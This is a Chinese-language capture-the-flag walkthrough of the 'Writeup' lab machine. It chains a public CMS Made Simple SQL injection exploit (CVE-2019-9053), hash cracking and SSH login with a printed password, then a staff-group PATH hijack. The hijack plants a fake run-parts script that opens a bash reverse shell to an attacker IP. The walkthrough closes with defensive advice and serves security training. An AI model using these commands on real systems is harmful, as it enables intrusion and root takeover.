[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升
字数 1082 2025-08-22 12:23:41

CMS Made Simple SQL注入与Staff组路径劫持权限提升分析

1. 信息收集阶段

1.1 端口扫描

使用nmap进行端口扫描发现目标系统开放了两个端口:

  • 22/tcp: OpenSSH 9.2p1 (Debian 2+deb12u1)
  • 80/tcp: HTTP服务

扫描命令:

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.138 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.138

1.2 Web目录扫描

使用feroxbuster进行目录扫描:

feroxbuster --url http://10.10.10.138

1.3 Web应用识别

使用whatweb识别CMS:

whatweb http://10.10.10.138/writeup/index.php -v

2. CMS Made Simple SQL注入漏洞利用 (CVE-2019-9053)

2.1 漏洞利用

使用公开的exp脚本进行利用:

python2 exp -u http://10.10.10.138/writeup

输出结果:

Username: jkr
Email: jkr@writeup.htb
Hash: 62def4866937f08cc13bab43bb14e6f7
Salt: 5a599ef579066807

2.2 密码破解

将hash和salt保存到文件:

echo '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' > hash

使用hashcat进行破解:

hashcat -m 20 -a 0 hash /usr/share/wordlists/rockyou.txt

破解结果:

username: jkr
password: raykayjay9

2.3 获取初始访问权限

使用破解的凭据通过SSH登录:

ssh jkr@10.10.10.138

获取user flag:

8c05eec57b840468d15218b7a938f180

3. 权限提升:Staff组路径劫持

3.1 Staff组特性分析

目标系统存在staff组,该组具有以下特性:

  • 允许用户在无需root权限的情况下修改/usr/local目录
  • /usr/local/bin中的可执行文件会包含在所有用户的PATH变量中
  • 可以覆盖/bin和/usr/bin中同名的可执行文件

3.2 监控root用户活动

下载pspy监控工具:

wget http://10.10.16.6/pspy32

发现root用户会执行以下操作:

  • 使用run-parts执行/etc/update-motd.d目录下的脚本
  • 输出结果保存到/run/motd.dynamic.new,作为登录时的动态信息

3.3 路径劫持攻击

由于PATH环境变量顺序为:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

攻击步骤:

  1. 创建恶意的run-parts脚本:
echo -e '#!/bin/bash\n\n/bin/bash >& /dev/tcp/10.10.16.6/10011 0>&1' > /usr/local/sbin/run-parts
chmod +x /usr/local/sbin/run-parts
  1. 等待root用户执行或通过SSH登录触发:
ssh jkr@10.10.10.138
  1. 获取root shell并读取root flag:
803d6f00a18d18dcbd03d8e5abf70eb9

4. 防御建议

4.1 针对SQL注入的防御

  • 升级CMS Made Simple到最新版本
  • 使用参数化查询和预处理语句
  • 实施输入验证和过滤

4.2 针对路径劫持的防御

  • 限制staff组的权限
  • 修改PATH环境变量顺序,将系统目录放在前面
  • 使用绝对路径执行关键命令
  • 实施文件完整性监控

4.3 系统加固建议

  • 定期审核用户和组权限
  • 监控/usr/local目录的修改
  • 限制motd脚本的执行权限
  • 实施最小权限原则

5. 总结

本案例展示了如何通过CMS Made Simple的SQL注入漏洞获取初始访问权限,然后利用Linux系统中staff组的特性通过路径劫持实现权限提升。这种攻击链强调了Web应用安全和系统配置安全同样重要,任何一方的疏忽都可能导致整个系统的沦陷。

CMS Made Simple SQL注入与Staff组路径劫持权限提升分析 1. 信息收集阶段 1.1 端口扫描 使用nmap进行端口扫描发现目标系统开放了两个端口: 22/tcp: OpenSSH 9.2p1 (Debian 2+deb12u1) 80/tcp: HTTP服务 扫描命令: 1.2 Web目录扫描 使用feroxbuster进行目录扫描: 1.3 Web应用识别 使用whatweb识别CMS: 2. CMS Made Simple SQL注入漏洞利用 (CVE-2019-9053) 2.1 漏洞利用 使用公开的exp脚本进行利用: 输出结果: 2.2 密码破解 将hash和salt保存到文件: 使用hashcat进行破解: 破解结果: 2.3 获取初始访问权限 使用破解的凭据通过SSH登录: 获取user flag: 3. 权限提升:Staff组路径劫持 3.1 Staff组特性分析 目标系统存在staff组,该组具有以下特性: 允许用户在无需root权限的情况下修改/usr/local目录 /usr/local/bin中的可执行文件会包含在所有用户的PATH变量中 可以覆盖/bin和/usr/bin中同名的可执行文件 3.2 监控root用户活动 下载pspy监控工具: 发现root用户会执行以下操作: 使用run-parts执行/etc/update-motd.d目录下的脚本 输出结果保存到/run/motd.dynamic.new,作为登录时的动态信息 3.3 路径劫持攻击 由于PATH环境变量顺序为: 攻击步骤: 创建恶意的run-parts脚本: 等待root用户执行或通过SSH登录触发: 获取root shell并读取root flag: 4. 防御建议 4.1 针对SQL注入的防御 升级CMS Made Simple到最新版本 使用参数化查询和预处理语句 实施输入验证和过滤 4.2 针对路径劫持的防御 限制staff组的权限 修改PATH环境变量顺序,将系统目录放在前面 使用绝对路径执行关键命令 实施文件完整性监控 4.3 系统加固建议 定期审核用户和组权限 监控/usr/local目录的修改 限制motd脚本的执行权限 实施最小权限原则 5. 总结 本案例展示了如何通过CMS Made Simple的SQL注入漏洞获取初始访问权限,然后利用Linux系统中staff组的特性通过路径劫持实现权限提升。这种攻击链强调了Web应用安全和系统配置安全同样重要,任何一方的疏忽都可能导致整个系统的沦陷。